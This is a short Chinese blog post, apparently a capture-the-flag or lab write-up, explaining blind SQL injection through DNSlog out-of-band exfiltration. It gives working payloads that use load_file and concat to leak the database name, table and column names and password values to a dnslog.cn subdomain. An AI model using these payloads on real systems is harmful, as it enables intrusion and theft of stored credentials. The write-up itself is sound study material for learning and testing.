Loading

DNS_log注入



DNSlog注入属于SQL注入的一种,通常当目标站点存在SQL注入漏洞但页面无法正常回显时可以用到,通过DNS解析来将数据库内的数据"带"出来,属于oob(out of bond)的一种

  • 目标站点:




  • 判断是否存在SQL注入:
    构造 and 1=2




    存在SQL注入,但是页面不能正常回显,尝试DNSlog注入。



  • DNSlog注入过程

    • DNS解析日志网站(显示DNS日志使得能够看到注入后的信息):http://dnslog.cn/

    • 构造合适的UNC路径,concat('//',(select database()),'.2l9lgj.dnslog.cn/abc.txt'),UNC路径是concat函数内的字符串,代表去访问一个域名下的abc.txt文件,此处查询的域名属于2l9lgj.dnslog.cn的子域名,在访问的过程中,解析记录会被保存。

    • 构造SQL语句

      • 查询库名
        select database()

      • 查询表名

        and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.2l9lgj.dnslog.cn/abc.txt')))
        

        对数据库使用loadfile()查询2l9lgj.dnslog.cn的abc.txt文件来达到对对2l9lgj.dnslog.cn的访问,以便在解析日志中看到访问信息。

        查询语句:select table_name from information_schema.tables where table_schema=database() limit 0,1在database()中查询第0个表名且只查询1个(limit 0,1)得到第0个表为admin,可以更改limit来查询更多的表。



      • 查询表中的字段名

        and (select load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() limit 2,1),'.js97uv.dnslog.cn/abc.txt')))
        

        查询语句:select column_name from information_schema.columns where table_schema=database() limit 2,1在database()中查询字段名,得到第3个字段名为password,同理可以查出第0个为id,第1个为username。



      • 查询表中字段的信息

        and (select load_file(concat('//',(select password from admin limit 2,1),'.js97uv.dnslog.cn/abc.txt')))
        

        查询语句:select password from admin limit 2,1在admin表中查询password字段的第3条信息为flaG-biubiu,同理可以更换password为username、id等来查询不同字段的第某条信息。


        ****


posted @ 2021-03-24 23:53  m0r3  阅读(132)  评论(0编辑  收藏  举报